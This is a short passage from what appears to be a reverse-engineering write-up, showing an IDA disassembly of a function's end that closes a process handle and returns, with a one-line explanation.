.text:0003B2A9                  jnz     short loc_3B2B2
.text:0003B2AB                  push    esi             ; hObject
.text:0003B2AC                  call    CloseHandle
.text:0003B2B2
.text:0003B2B2 loc_3B2B2:                                ; CODE XREF: sub_3B249+60#j
.text:0003B2B2                  mov     al, [ebp+var_2]
.text:0003B2B5
.text:0003B2B5 loc_3B2B5:                                ; CODE XREF: sub_3B249+34#j
.text:0003B2B5                  pop     esi
.text:0003B2B6                  pop     ebx
.text:0003B2B7                  leave
.text:0003B2B8                  retn    8
.text:0003B2B8 sub_3B249        endp
```

Finally the handle to the process is closed and the functions returns.